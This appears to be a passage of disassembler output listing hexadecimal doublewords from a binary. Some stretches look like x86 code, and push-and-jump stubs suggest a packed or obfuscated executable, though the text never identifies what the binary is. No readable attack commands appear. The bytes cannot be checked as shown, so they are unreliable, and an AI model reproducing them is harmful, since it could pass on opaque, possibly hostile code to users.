		dd 5BAB5ED3h, 3AE0051Ch, 59DEFBBBh, 0A1801046h,	7636EEA7h
		dd 7A3C6E4h, 3AAC0722h,	0C4A7A180h, 0DA789E5Ch,	84A1C72Fh
		dd 384E7E6h, 0DAEEF726h, 0A71F2705h, 962CD985h,	2745D773h
		dd 0A6FD5802h, 0F4259BCFh, 98BD65E0h, 0F4255139h, 2F7AFE0h
		dd 65092363h, 926A0F64h, 0F2600A2Fh, 0F0F199BCh, 3E9h
		dd 1A61EC00h, 0BD3CE205h, 0BF3EDCF9h, 0BD3CD6FFh, 0B839D9F9h
		dd 2 dup(0B839DDFAh), 0BD3CE2FAh, 0BA3BDBF9h, 0BD3CDEF8h
		dd 0E68956FAh, 4C681h, 0EE830000h, 24348704h, 5724248Bh
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch,	89512434h, 4C181E1h
		dd 83000000h, 0C8704E9h, 2C895C24h, 89BD5524h, 81608D7Dh
		dd 85D805F5h, 4815566h,	40673924h, 0EE815E55h, 55406739h
		dd 4EC815Dh, 89000000h,	4812424h, 424h,	53565D00h, 231C44BBh
		dd 245C011Eh, 458F5B04h, 86D8108h, 1E231C44h, 5D2434FFh
		dd 8B04C483h, 89572434h, 4C781E7h, 83000000h, 3C8704C7h
		dd 0DE95C24h, 0A4FFFB86h, 0E2BBD0DFh, 0F11B9F04h, 0B5B83540h
		dd 30608BBh, 23E0FFC5h,	0B20D2F23h, 0E060170h, 7F1E9101h
		dd 715F39DCh, 323DC927h, 0D66134DEh, 0DA3FD159h, 3448D921h
		dd 5CE4B3h, 36694355h, 9D76F00Fh, 0E41D3C86h, 0D939DA14h
		dd 725E0BBCh, 151AEA56h, 341D225Ah, 0B53CF96Ch,	477A4E0h
		dd 5842383Ch, 982D209Dh, 0A76D9DD9h, 0E95FE7A6h, 98h, 94h
		dd 5, 1, 0A28h,	2, 20h dup(0)
a_moqs		db '.MŽqéÖ',0Bh,0
		dd 0BEF06800h, 0FEE90608h, 68FFFABFh, 608BFFEh,	0FABFF4E9h
		dd 0C12068FFh, 0EAE90608h, 68FFFABFh, 608C194h,	0FABFE0E9h
		dd 0C2F068FFh, 0D6E90608h, 68FFFABFh, 608C364h,	0FABFCCE9h
		dd 0C65A68FFh, 0C2E90608h, 68FFFABFh, 608C791h,	0FABFB8E9h
		dd 0F3F487FFh, 466B089Dh, 0D0D9BF02h, 0A04529BCh, 33B8592Ch
		dd 7228D75Dh, 0ED70149Dh, 11E4E80Dh, 876A7E83h,	0F899CFF0h
		dd 33F16ABEh, 0BD4F7106h, 0A2432A3Eh, 0F7B0472Ah, 9EFB5322h
		dd 0CC54BDCAh, 48F69A61h, 0A121BA8Eh, 0C89F770Eh, 3AB8C36Ch
		dd 0B0F6AC7Ch, 32D37511h, 0C5DC5861h, 18875816h, 1FB890E5h
		dd 9D710B50h, 86CAA9CEh, 5FE7877Dh, 710B7CC2h, 0AA8ED24Eh
		dd 9369DA92h, 3B4Dh, 85F0EE00h,	0F0FB94B4h, 9A41770Eh
		dd 25D7730Fh, 9B7511FFh, 4B1A9CCCh, 1F4A02A3h, 0E00C89A1h
		dd 5E18710Bh, 5C4B3DBDh, 1077A4D4h, 0BAFE7A7Fh,	0BB7A8296h
		dd 0CB759369h, 86000000h, 2AA2432Ah, 0F3F8996Ch, 7A7F1075h
		dd 0C7E88F12h, 50553885h, 0F478EC3Ch, 13FA770Eh, 846BFE92h
		dd 0D1A64763h, 8D25A028h, 0EEC24BDh, 77CD9877h,	4D255017h
		dd 6A0E36BDh, 31460345h, 7D11884Eh, 0EE751078h,	0EAAD6703h
		dd 0A1BDAD74h, 9EAE0A92h, 75117A14h, 7E095F0Ah,	4DDD9513h
		dd 6F09023Fh, 0FD902EBDh, 5E189419h, 83C1EA8Fh,	0A783593Eh
		dd 7708C12Eh, 0D7B136DEh, 79C493B2h, 0D6B0FC46h, 0D00DDDE6h
		dd 98Bh, 0D2B637DAh, 4705AE4Fh,	0F1971CF2h, 6167886Ch
		dd 92F6FB9Ch, 0E0B1E510h, 5020B5DBh, 0C65439AFh, 33DAAF3Dh
		dd 387DEB2h, 632AE27h, 81621271h, 87835E01h, 0F620FBE0h
		dd 7982177Ah, 0CEEF866Bh, 85F0D99Ah, 0D9BA4B67h, 29A34428h
		dd 1580D1BCh, 0DF19962Eh, 0D08AC4A0h, 2C25CD0Fh, 49274784h
		dd 113FCF61h, 0CE9E4D75h, 21BA8E48h, 9F710B1Fh,	0BF5C6CC8h
		dd 4D710B1Fh, 3FE083D7h, 0D7BE85EDh, 6A3F81D6h,	0ADB7FC78h
		dd 0AA9369F0h, 0B7h, 0A2432AD5h, 9B2472Ah, 0B1FD95Fh, 770EF092h
		dd 0ADFD7BEEh, 770EF439h, 961BFD90h, 1FA0771Ah,	0EC11E449h
		dd 555E33D2h, 0B2DA5633h, 526C8AF5h, 11FD6CF6h,	6B07D275h
		dd 1E198DA8h, 53294086h, 53DE813Fh, 88012961h, 0F4710B16h
		dd 50F45061h, 4EC7631Fh, 0B2710BA5h, 93FE4927h,	0D0CD5D15h
		dd 2C6F0940h, 8B6C01B9h, 94F4FD9Eh, 93666AF1h, 9ABAF5FEh
		dd 67E6D679h, 87D4A87h,	45D40000h, 0BC592CA0h, 2ACC5137h
		dd 967EC381h, 9EE7311h,	0D706ECE0h, 87C5EE83h, 0B595E32h
		dd 0B92FD4A6h, 28BC41D4h, 0A0391189h, 1C710631h, 452A8F6Ch
		dd 0B24528BCh, 2A245F0Dh, 0DB25A43h, 29A30E5Bh,	26F4B144h
		dd 0CB9ECB9Dh, 51378223h, 354D6B16h, 79D3815h, 0C5A90475h
		dd 33C5A820h, 1A54238Eh, 13FBA44Bh, 6A62836Ah, 4705907Fh
		dd 6358EB7h, 4FDB9571h,	710634D6h, 3464FD4Dh, 0DD87106h
		dd 5EE94712h, 89D0B434h, 5425C8B1h, 1B66D1AFh, 8F45E59Dh
		dd 0D6F094Dh, 4B09235Eh, 4E07BBCFh, 0B6D5DEBFh,	0DE8BDDE2h
		dd 0CAAD562h, 0A4F0D672h, 484EE14Eh, 4EA467E0h,	1CFED5E1h
		dd 590F597h, 0EE992EBEh, 8AE5B6F0h, 42C1E702h, 0EE757A12h
		dd 0A3F45412h, 19DF4CA4h, 0D2633472h, 7539534Fh, 0EEA8E642h
		dd 0E87B1434h, 0E2C1E348h, 0E0E5E70Ch, 54CD5D15h, 0A8E348E8h
		dd 4B22473Dh, 99790CAAh, 4AF49814h, 0AA1CD7BBh,	0DF970BB9h
		dd 4A1F49D4h, 0F3F49BEEh, 165FA6B0h, 4E836B75h,	75Bh, 246670Ah
		dd 0B7D5DEBFh, 21A74C22h, 5137B85Ch, 0C2862BCCh, 10E1B560h
		dd 8010E5EBh, 0F684697Fh, 630A9FCDh, 33770E42h,	62F7E17h
		dd 0B132C271h, 4B6785F0h, 79D22FFh, 2F4B1E75h, 7A34BD5Eh
		dd 0EEFD06EBh, 0E3E6E607h, 0FF9C6105h, 81BBCFAh, 6DA76967h
		dd 52C4A400h, 2E86C381h, 8FC29D6Bh, 0C287C1EAh,	4B6C0366h
		dd 0D8C13428h, 0CC01E9E0h, 6E7h, 0B6DADBBEh, 3BA95223h
		dd 553BC056h, 0C58B2CC0h, 761A9F70h, 841541FCh,	0F484697Fh
		dd 6A089DF3h, 0D7BE0341h, 0A7E3B2D6h, 6300A83h,	25C67671h
		dd 4B6785F0h, 79D22FFh,	0DFB31E75h, 20088EDEh, 710634A7h
		dd 6CFB4615h, 23DCB352h, 0A421AB4Ch, 92FC8BD9h,	47F45412h
		dd 0D2710634h, 0E1748001h, 0F470FB77h, 0DB31C4DDh, 215386B2h
		dd 6CEA325Ah, 0BA7106C9h, 3E465286h, 65936527h,	9DCFF080h
		dd 756E6CC8h, 89000000h, 67886C01h, 60688D60h, 56208F65h
		dd 8B301856h, 8E770EF0h, 0F29A1BFFh, 0AD381997h, 89A15B15h
		dd 770EF110h, 36AFF96Ch, 8A770EF0h, 0E10961DFh,	770EF064h
		dd 94F4F99Ch, 9436809h,	9C3E6242h, 8C6235F5h, 1F82E5BAh
		dd 276B4F25h, 0F8D0A144h, 0E13B750h, 0CB560577h, 713E466Dh
		dd 1139996Ch, 0BA000000h, 1C95Ah, 0C6621C00h, 770EF04Dh
		dd 0CB4824B3h, 0E5901AEEh, 38DAABC7h, 4800A94Bh, 0B3D6B61Dh
		dd 0F9AF7B35h, 0B7751208h, 50A38520h, 5ED5A65Ah, 2DFDB533h
		dd 0CB688967h, 317616C5h, 7F0EA846h, 0DC9A1697h, 4AD4322h
		dd 83AB0144h, 0C5623652h, 0C25BEFA9h, 3ECD6215h, 61F4CDABh
		dd 2CD1A449h, 0BD42D5B8h, 7C440002h, 2C21C94Fh,	58Bh, 0D2B637DAh
		dd 4705AE4Fh, 0F1971CF2h, 6167886Ch, 92F6FB9Ch,	0E0B1E510h
		dd 5020B5DBh, 0C65439AFh, 33DAAF3Dh, 387DEB2h, 62EAE27h
		dd 81621271h, 2AA2432Ah, 2E53AB6Ch, 0A06AC352h,	0FF80CF29h
		dd 0A90776ACh, 3D75731Eh, 0E861C983h, 54770E20h, 88179C79h
		dd 1DAE1C2Ch, 0EAAC7511h, 0B1DC55Eh, 0C1AC3B71h, 56573E83h
		dd 0D34C151Fh, 0CF02EAE0h, 517h, 460AAB4Eh, 0CB9922F3h
		dd 656B9066h, 95FBFC90h, 64A6F00h, 542571ACh, 0C45439AFh
		dd 3AD8AD23h, 0A74ED3B1h, 77334206h, 62D3AD3h, 75F68671h
		dd 2AA2432Ah, 5D0FB047h, 480256CEh, 0D24C00A5h,	30586133h
		dd 491F0455h, 2BBA8088h, 0A95E664Dh, 4D19996Ch,	9A000000h
		dd 4B6785F0h, 0DA73D791h, 26770EF0h, 131535B3h,	29751215h
		dd 904A04A2h, 0BCC1FB8h, 0DECE9D71h, 710BCC45h,	38502CBBh
		dd 0BCC7310h, 3EEB8D71h, 52375156h, 583885C7h, 0B08C3557h
		dd 9D83D26Ch, 2E556F49h, 4712936Ah, 0AD000000h,	0F79F85F0h
		dd 9CF396F6h, 0F396F6FBh, 4DFE4A64h, 0C37511ABh, 0EA8B5A14h
		dd 0A39D3612h, 74E3710Bh, 0B553FBE9h, 4F710BA3h, 0FC4107A8h
		dd 44F29A1Fh, 0A325BE8Ah, 0CC9B710Bh, 4356D70h,	0B0550000h
		dd 0D5B0D8DDh, 6C01E45Fh, 228D6B8Ch, 9215957h, 7512089Bh
		dd 1C9AF299h, 0C84DC662h, 24B3710Bh, 0AD522548h, 56CF5B15h
		dd 0AA710BC8h, 6029413Fh, 0BF40D7B6h, 9B2402Dh,	0C1BF0A5Fh
		dd 404BA9FDh, 0B62404A2h, 646F0EE0h, 44D4B9F1h,	0C0BC29A3h
		dd 0B136D9ACh, 0C7E590D7h, 0F6419FABh, 0A83F7511h, 5579BB20h
		dd 17757A1Dh, 0F38F2D58h, 0EF96D57h, 4404D36Fh,	0F79116F9h
		dd 6963886Ah, 99F3F484h, 0B2920B1Fh, 7BEE770Eh,	2C6EB2F2h
		dd 0A331655Fh, 8C9CDAD8h, 7511D6C2h, 0B12AFEB8h, 0F710BD5h
		dd 5D623558h, 9DF35E0Bh, 0B7936508h, 710BD61Eh,	6068F762h
		dd 95F7FC9Dh, 0F39B6A2Ch, 71CF9AF2h, 0AE41194Dh, 0FF4B1DF1h
		dd 710BD566h, 28A00FDAh, 0F5B2D6BDh, 0B3526C8Ah, 0D5B0D8E1h
		dd 0CB09215Fh, 0CE6F0EDAh, 0D450593Fh, 8F506EFDh, 0B303BDA2h
		dd 0FAAC329Ah, 84E06A0Fh, 0B01D6DCBh, 0CBB0D8DDh, 4C37A5E9h
		dd 0DA3810AEh, 3F75117Dh, 8D2CA585h, 0C590710Bh
		dd 73C9EE86h, 7CC18752h, 0E9741499h, 0C4E3E106h, 0C57F3BB9h
		dd 9E723512h, 6CC8CFA1h, 0E39865Ch, 0C5A9046Fh,	28B738D8h
		dd 66E30B5Dh, 0A2770E19h, 364E2A7Eh, 31996C77h,	37h, 6785F042h
		dd 1CFC914Bh, 7B0D1D9Bh, 0F17511FFh, 3DDA626Ah,	0CB710BDFh
		dd 0D170155h, 96936A41h, 8D0622DCh, 0F3710BD3h,	0D3AB2464h
		dd 4A11710Bh, 0E0ECEEh,	2A0F0000h, 472AA243h, 0D95F09B2h
		dd 0F0920B1Fh, 7BEE770Eh, 0E005E8FDh, 4D7205E8h, 43E7A11Fh
		dd 770EF0CAh, 0E5C5A336h, 770EF471h, 0CFEB0CE3h, 0CDB0640Ch
		dd 5A3E67ADh, 0CB563355h, 0E1B4196Dh, 90FB8CDCh, 0E1B15412h
		dd 63D98CDCh, 0F3F70525h, 0F6657511h, 0F4AAD592h, 9BCE9E23h
		dd 0C1D6720Ch, 7F6F0967h, 810DCEE8h, 6B92E084h,	402563D9h
		dd 0D8460AAFh, 0E5E6335h, 0A12BCCA3h, 8EE35924h, 0D1A1C0E9h
		dd 82E6D6CBh, 22177EAh,	0A1700000h, 18E5481Ch, 8668FD93h
		dd 0F29A6F7Dh, 650A9FCDh, 7BBA085Ch, 23A14A2Fh,	5735BA5Eh
		dd 0C58B30C2h, 74189D70h, 44DD6D2Dh, 0B871062Ah, 452A6B08h
		dd 0B46E28BCh, 0EF0FB94h, 19133F77h, 3A3E9372h,	9DF04C1Bh
		dd 28BDF5FAh, 31BA5B44h, 0C9A73257h, 6C013EA5h,	67626A8Fh
		dd 55533E89h, 0FF7B0D1Dh, 6AF17511h, 0DF3DDA62h, 23F7710Bh
		dd 0DF60F951h, 9DC710Bh, 0B5472AA2h, 4EDA5C0Ch,	710BDFD5h
		dd 370DBC2Bh, 1C0053E3h, 40D4E8C8h, 0E093936Ah,	0E9000000h
		dd 0E657D36h, 68C4B8ADh, 0A2432AEBh, 0FC996C2Ah, 0F08B0424h
		dd 6AF1770Eh, 1C98CD9Fh, 78D0A849h, 770EF0DFh, 0A9238E5Dh
		dd 0EF50D81h, 0D3B26C77h, 0BA2FB942h, 0EECF992h, 86684777h
		dd 771A967Dh, 0E4491FA0h, 0CBFCEC11h, 0E18422C0h, 500EEA0Fh
		dd 1209CAF8h, 0FA4E4875h, 710BC961h, 2FBD08DFh,	0BBF7F580h
		dd 618A6C01h, 648DA38Bh, 960B6F09h, 307861EBh, 0D2EC7B27h
		dd 6E090301h, 0E7EAF6C3h, 0EAFFE912h, 0DCBD500Eh, 0E6AB2404h
		dd 4A117708h, 7304E9FFh, 9551374Eh, 7616E6D6h, 0EA9Bh
		dd 0D7D8BB00h, 0AA4F2CB1h, 34BD5326h, 8429CD50h, 179C7DC0h
		dd 1644F371h, 81147881h, 3598CCF1h, 0BB0E4267h,	0E4BDD3D4h
		dd 2A0D86A2h, 0C1737106h, 8A6C0122h, 11E68B61h,	7E11E4E8h
		dd 2A686B79h, 6C2AA243h, 0EC4785ABh, 0F1829C77h, 7EC580C8h
		dd 3408EF82h, 0AE3EC351h, 7178113Bh, 11C4770Eh,	7B19EC8Ah
		dd 2E731676h, 6FDD89DCh, 40248013h, 205E5C27h, 6B3BF08h
		dd 0BE2EBD75h, 0FC713CD3h, 61D915BCh, 0EA71761Ah, 11E4491Fh
		dd 967D8614h, 1AEB2EF6h, 6D2D1D85h, 99F3F498h, 0F15C6134h
		dd 5B13477Bh, 0C85D33B4h, 95805325h, 0C1341669h, 0B4D44D5Fh
		dd 6E280580h, 80B441DAh, 5D28BF05h, 4D2096F6h, 34606ABh
		dd 8B2CC0A5h, 8D7A1EEFh, 6A79C4E9h, 0E6866283h,	0DB93C7FDh
		dd 48DDB334h, 954800A5h, 3, 2A800328h, 5B26A647h, 0F45933B4h
		dd 66CB9D26h, 967B6D92h, 0D90F801h, 0B805476Ch,	0D4B9D3D4h
		dd 422FB942h, 0B4008B1h, 81E38953h, 4C3h, 4EB8100h, 87000000h
		dd 895C241Ch, 9D68241Ch, 8900007Fh, 0DB68243Ch,	8900000Fh
		dd 0B8502404h, 790842A7h, 1E35E8D1h, 0F758EA54h, 404625D0h
		dd 0AB0560AAh, 890588BDh, 24048BC7h, 4C481h, 23680000h
		dd 89000007h, 4832424h,	52580424h, 8BAh, 89C20100h, 24148B3Ah
		dd 4C481h, 34FF0000h, 0C4815824h, 4, 57243C8Bh,	0C781E789h
		dd 4, 4C781h, 3C870000h, 36E95C24h, 0FFFAB4h, 0B841A007h
		dd 608C8A0h, 0E0FFC503h, 660D9F89h, 4AD6A094h, 1C656114h
		dd 840D227h, 62435719h,	3AEA7C98h, 3034AFAEh, 407B24A7h
		dd 34F43EF0h, 341A7AEh,	24EBh, 8 dup(0)
		dd 0BDE90000h, 89000000h, 8C966B5h, 91858B06h, 8B06031Eh
		dd 3001D85h, 0B0B58D06h, 8D0608C9h, 64BD485h, 0C3D0FF06h
		dd 0E855h, 815D0000h, 8C9B6EDh,	91BD8306h, 106031Eh, 2C850Fh
		dd 0B5FF0000h, 608C966h, 1D858Bh, 36350603h, 0FF348127h
		dd 0F013CD0h, 0A85h, 1B800h, 47E90000h,	33000000h, 40E9C0h
		dd 1C6A0000h, 0C96AB58Dh, 0FF560608h, 8C966B5h,	1D858B06h
		dd 35060300h, 34812736h, 0C483D0FFh, 6AB58D0Ch,	8B0608C9h
		dd 0E0831446h, 4F88304h, 7840Fh, 0C0330000h, 5E9h, 1B800h
		dd 0BD830000h, 6031E91h, 7850F01h, 5D000000h, 2E9C3h, 0CF5D0000h
		dd 0C98F858Dh, 85890608h, 6032529h, 10E8h, 66A88B00h, 23A428BBh
		dd 0AEA0AE7Bh, 0D678F6BFh, 12E840h, 3EA0000h, 603BB5D5h
		dd 0C5C3B4CAh, 5A14893Fh, 7A1C2D6Bh, 6E8h, 0CCB41D00h
		dd 0BFCBD04Fh, 45BC2F2Dh, 0F55A585Bh, 6F2DC281h, 0EE90000h
		dd 7F000000h, 44D4D012h, 59C32830h, 5095EF25h, 686Eh, 665E0000h
		dd 919DB81h, 0F320C8Bh,	785h, 18E0F00h,	0FC000000h, 0ECE5C181h
		dd 8E82F61h, 5E000000h,	0F51DEFFh, 66C96D77h, 5B0792B8h
		dd 925AF181h, 8B66072Ah, 32C181D8h, 6649AA35h, 518E78BBh
		dd 9830Fh, 8E0F0000h, 3, 8FFEB70Fh, 0EF803204h,	0DF8B66D6h
		dd 4E02EE83h, 0E081664Eh, 0FE81F74Eh, 0FFFF91A0h, 0FF96850Fh
		dd 8151FFFFh, 0F052D3F7h, 8D8D5F09h, 608CBF7h, 9E8h, 0A0A30D00h
		dd 50AB588Dh, 9D8B4BA4h, 6031289h, 0D18D8958h, 0F9060331h
		dd 0CF5AB866h, 1E185C7h, 5BD00603h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0FF6556C3h
		dd 0E94A85DFh, 0BD8907D6h, 6032559h, 0D5B53160h, 61060329h
		dd 12E9h, 8B456900h, 0EF79AEF2h, 9EC10299h, 0F1986244h
		dd 0C7DA1DA7h, 321BD85h, 6, 198D2900h, 0FF060322h, 32961B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 992347Ch, 325D98Dh, 9195FF06h, 80060326h
		dd 858B87F4h, 6032361h,	95FF006Ah, 6031FB9h, 7DEBC08Bh
		dd 4B2A4BA5h, 0C56CA861h, 0F0C11C42h, 0B37E9BB8h, 26E52CDh
		dd 0DC47DD90h, 0EE6D5AEEh, 0B63847B9h, 717E6914h, 96037DE3h
		dd 1B621941h, 9DF6CAAAh, 8A8F1724h, 37766282h, 89FED335h
		dd 991FE9E5h, 5D18B0D2h, 1ADE068Eh, 0F242CBE6h,	7B31DEDFh
		dd 305DD2B4h, 40211A2Bh, 5027585h, 0C679E74Eh, 8AF0A31Dh
		dd 65CCAA8Dh, 0CBC9E4CDh, 90E1C10Fh, 0DFB64522h, 702072B2h
		dd 0AE43861Fh, 0FE818h,	0CD500000h, 923343A1h, 0B51242ABh
		dd 6A4EDE12h, 0D6D68017h, 15C18159h, 0B6000063h, 685Fh
		dd 0F08B0000h, 99853158h, 8B060312h, 0BD89013Ch, 6031275h
		dd 1352F781h, 8B562C4Ch, 304759Dh, 0F7815A06h, 12BAA44Bh
		dd 81F7B70Fh, 3E93A9EFh, 4D9D3339h, 5706032Ah, 48FD08Bh
		dd 0F18B6601h, 7E9h, 0AD12EA00h, 0D77C8B4Fh, 8904E883h
		dd 311B59Dh, 9CF88106h,	0FFFFF9Dh, 1385h, 0E5BD8900h, 0E9060313h
		dd 2Bh,	0D316A3DBh, 0C84554D1h,	0BE9h, 7C6CB100h, 0AC58F826h
		dd 0DAF21F3Ch, 0FFFF82E9h, 43A5E3FFh, 4F6DF597h, 6DBE944Bh
		dd 0EBAC290Ah, 0E6D88C08h, 4000002Fh, 0CA0E902h, 0D0680000h
		dd 0E90608CEh, 0FFFB7510h, 8CFC868h, 7506E906h,	4B68FFFBh
		dd 0E90608D1h, 0FFFB74FCh, 8D21F68h, 74F2E906h,	0DC68FFFBh
		dd 0E90608D2h, 0FFFB74E8h, 8D4ED68h, 74DEE906h,	8D68FFFBh
		dd 0E90608D5h, 0FFFB74D4h, 8D6E768h, 74CAE906h,	1668FFFBh
		dd 0E90608D8h, 0FFFB74C0h, 42D07E99h, 0F2600A2Ch, 6CFE98BCh
		dd 92802E4Eh, 0D1FB7DCh, 5B78E139h, 0EB0BA9BBh,	7EA7C557h
		dd 153076E4h, 40DDE775h, 0A94D7961h, 0FCF787A1h, 1F3AE005h
		dd 0F8378444h, 7B0E1775h, 0F7825D78h, 0FC72F123h, 95B07207h
		dd 543067F5h, 31F0D376h, 5BADA4F1h, 33BBDADBh, 0FA1A2F0h
		dd 802AF450h, 0F9AE9833h, 47h, 0D3107482h, 3276BFCEh, 0E7F3D210h
		dd 11A7A114h, 421E1A1h,	0E991B5E9h, 5EE851Ch, 8A0AADA4h
		dd 37D3F7AFh, 6003F6B6h, 0A2254501h, 42DA79A1h,	97FAF6A0h
		dd 0D06FAEh, 8B2A0000h,	92AC5E18h, 98B97B71h, 58E0FFAh
		dd 0FBBB3AE0h, 0FBBB3ADCh, 9EBD3CDEh, 5B5A0424h, 0B3D66C19h
		dd 82000517h, 0C67C268h, 0A7A1805Ah, 9609FCA4h,	0A7A1858Bh
		dd 391CBEDBh, 20196866h, 0AF5A1771h, 66042147h,	54325667h
		dd 0C55B9EF1h, 0D1ECADA4h, 7312B8DDh, 0A1A2F467h, 46632191h
		dd 966325A4h, 0A3908232h, 742E0BE7h, 6DDA852h, 2E2748EBh
		dd 2D1B143Dh, 781EF958h, 3AFAABA4h, 0E680A71Fh,	75113674h
		dd 0C44F1665h, 756CE528h, 0A76h, 1E0CB2D5h, 8E9C3E58h
		dd 382ACCE8h, 0AEBC627Ah, 0D94BEB08h, 8FB4ADCDh, 1F4765F7h
		dd 0B2D39183h, 496C0210h, 34E1B3A1h, 0A94E0D5Dh, 0C8A3CBA1h
		dd 2A38DE05h, 0F092B3F3h, 0EE8CA905h, 1074077Ch, 0B4741630h
		dd 4BDB7A91h, 3A83C5F9h, 0DFF26D18h, 79ADA4A3h,	2D5938B9h
		dd 11A1A2C3h, 9E489A72h, 7AE985Ch, 0E3h, 420629Ch, 0FA1F9762h
		dd 0F61D5150h, 9BB9F550h, 7504DAFBh, 10880B3Ch,	346B0A65h
		dd 19A7A1F1h, 2FDA80A5h, 6DC87297h, 75741231h, 0FEBC4633h
		dd 8DBE3FDBh, 6E082F09h, 366C8BAEh, 33757412h, 0F92BBF16h
		dd 6DD5A7A1h, 0E1C23998h, 66DEADA4h, 0E7C3C7F4h, 84264042h
		dd 9BB64305h, 0A4BE3238h, 0B609D4ABh, 0ABA8BD20h, 83A666DEh
		dd 4041E503h, 0E4DE7500h, 103527BFh, 0BDCC9AF5h, 8A0AABA8h
		dd 862047FFh, 0C4932F16h, 1A05FC28h, 97Eh, 1604AACDh, 86943650h
		dd 3022C4E0h, 0A6B45A72h, 0D143E300h, 87ACB5C5h, 173F7DEFh
		dd 0AACBE97Bh, 41641A08h, 2CE98B99h, 0A94F0555h, 0D0ABF3A1h
		dd 425DDE05h, 0A7A18014h, 0D77232E2h, 1D74BDDFh, 0A7A1804Dh
		dd 4A4B0B8Bh, 8D4DED08h, 31546AF8h, 5DC9B89h, 0FBBB3AE0h
		dd 0EF2E3CDEh, 6B93B454h, 0F716B74Bh, 6C7A553Ah, 0EAA7A1D9h
		dd 569F6A2Ah, 9EF15432h, 0ADA4C517h, 82C0C171h,	2C66C367h
		dd 4A986D05h, 68691134h, 9333514Dh, 0D7446FE6h,	0A8CE28E4h
		dd 0B1CB8B0Ah, 6E2B4F0Dh, 149FC809h, 18995953h,	0A10EEEB3h
		dd 2897750Ah, 0B9FF6D0Dh, 9CFFFE9Ch, 2AE8B9D5h,	0FB28A09h
		dd 812542EAh, 0A5804000h, 0E16BD70Ah, 79DCFC77h, 0E83F7066h
		dd 63168E2Ah, 12B8DD93h, 3FFDF093h, 791A2AE8h, 50B85BE3h
		dd 8EC28464h, 71942EDBh, 27425BC9h, 0E8CD1A4Ch,	493CE42Ah
		dd 0AB2AD0F5h, 520FE9Ah, 0F78FB4EEh, 0CE588302h, 4BC20EDh
		dd 89652116h, 0D00AD5ACh, 0EC873EE8h, 0AD140680h, 0F34F6F4h
		dd 43367677h, 963057CDh, 0B0955517h, 0B534DAF2h, 0C6F06F3h
		dd 3EEE2F45h, 0A446A67Dh, 1B4BF4F2h, 4B06Bh, 47627000h
		dd 0ED8C264Fh, 0A7A180FDh, 77EE9B1Bh, 0A7A18063h, 0A190DA90h
		dd 1D3975A7h, 2509887Dh, 5EA7A194h, 0A7A19414h,	280DE9ADh
		dd 0A4888E49h, 0DACA4AADh, 22BE8685h, 0FBC4DF92h, 4E000007h
		dd 0DD93812Dh, 6D0311B9h, 0FFBDAF47h, 8D2331DDh, 4A52C066h
		dd 6C0A2932h, 0F89AB8FEh, 952D546Ah, 26C4E187h,	0D0B36A34h
		dd 0A1A95186h, 5532870h, 8ABB3AE0h, 0BA15300Eh,	0ADAA4EFBh
		dd 280A51Dh, 0E4E4FE3h,	0F7822C4Ch, 0A2FC476Fh,	922D08E6h
		dd 0D5421D5Eh, 0C4DF7A7Eh, 0A1A96D92h, 0AC1B46Ch, 0F48EB7EFh
		dd 87721036h, 0AC5D8D0Ch, 0E88BA6ABh, 6DC0CFACh, 637716F3h
		dd 9DABAD81h, 44FC5025h, 0EE84ADE1h, 7D8ADEFh, 0E280A61Ch
		dd 0BCEBBC17h, 4E4A5B0Eh, 2FFAD570h, 0A916C99Ah, 0BFDBE8E9h
		dd 0DE6F46E3h, 7A6CD4D8h, 0F9F89AB8h, 0F8F9A1C5h, 1D38F8B8h
		dd 43E684A1h, 0C1783BA0h, 793B0896h, 3AC8BD5Dh,	29B96184h
		dd 0E42EBA80h, 27CBD28Fh, 1A000007h, 0A9CF5D01h, 397FED8Dh
		dd 0CBE97B1Bh, 591F0DB1h, 0BE8E9C3Ah, 38DE055Eh, 0D46E942Ah
		dd 61012046h, 0F298BDF3h, 0ECC75E60h, 0A1A952FAh, 747F7404h
		dd 73133010h, 53703272h, 0B27232B3h, 9C753C97h,	2F97ADA4h
		dd 832F6B0Ah, 0A89E1379h, 0C5E0A2DDh, 6A0FA425h, 5C3A5E92h
		dd 922FE6F9h, 0AC49ABA7h, 0A7A985D5h, 3C373ABh,	0A97A7011h
		dd 0C991ABA7h, 68ABA7A9h, 822C4C2Ch, 65834103h,	4D2401C1h
		dd 0A1AC67CAh, 1477762Eh, 0B5AF7747h, 0F89EBAF8h, 5332C7F9h
		dd 0B5AF771Ah, 42F4B5D0h, 7275AEEh, 0ECF6A711h,	49C903CDh
		dd 6B8796ADh, 4C4844Dh,	0C9DCCF94h, 0BAA55C2Eh,	66Ah, 210BED9h
		dd 0B2A04A6Ch, 2C3ED8FCh, 52C06E8Eh, 0CD5FF71Ch, 9BB8A1F9h
		dd 2B4B69FBh, 0BEE78597h, 55703624h, 1DA7B5h, 0A95239A1h
		dd 3CB7C7A1h, 17321074h, 0AA4EFDBCh, 29BF56ADh,	6E785B61h
		dd 0E8A1A97Bh, 6FCB8928h, 5A9956E1h, 8343126Eh,	87A212F6h
		dd 0D7C5BDECh, 597377BCh, 0B47434B5h, 6C8BAEC1h, 0A9F44515h
		dd 0D0769DA1h, 43F39FD1h, 33D9FCB6h, 31737214h,	0D7BCE371h
		dd 86DDF8F9h, 0A9F4BB2Fh, 28DD45A1h, 59CB6F8Ah,	5D5CFE1Bh
		dd 5F5EFC19h, 0C8BFF81Fh, 0C883CE9h, 9EDCDD9Dh,	7ED1D07Eh
		dd 8FA48EBCh, 0E1A674EDh, 51F4A60Bh, 460F5B3Ah,	0A8C9A1A9h
		dd 0D242C6AAh, 0C2B777AEh, 2363AB81h, 24646509h, 12B8DD51h
		dd 4A691D00h, 97D2AE93h, 0E9000001h, 17321074h,	0A483A5BCh
		dd 92B4EEADh, 0C2B7E9E8h, 0B4D7D64Eh, 0A1A2833Ch, 8149A3E0h
		dd 7E1C2AEEh, 0A9CE0143h, 316C4D0Dh, 89C87B9Fh,	1F7BA85Dh
		dd 548FE643h, 0B0ABA751h, 4E21EA02h, 0ABA75418h, 7F7E3EE6h
		dd 0BDD87D3Dh, 0A754B422h, 27D242ABh, 9EC4FEDFh, 0A228504h
		dd 6ECC0E87h, 0E24035F5h, 8C0623C7h, 0BA35C06Ah, 3D58DDF8h
		dd 0A74534A2h, 0B352C2ABh, 0ABA74527h, 87A361D1h, 0E2A2E2E3h
		dd 6B474370h, 5434F7CEh, 0D040A1A2h, 5534BED1h,	4B08B5A8h
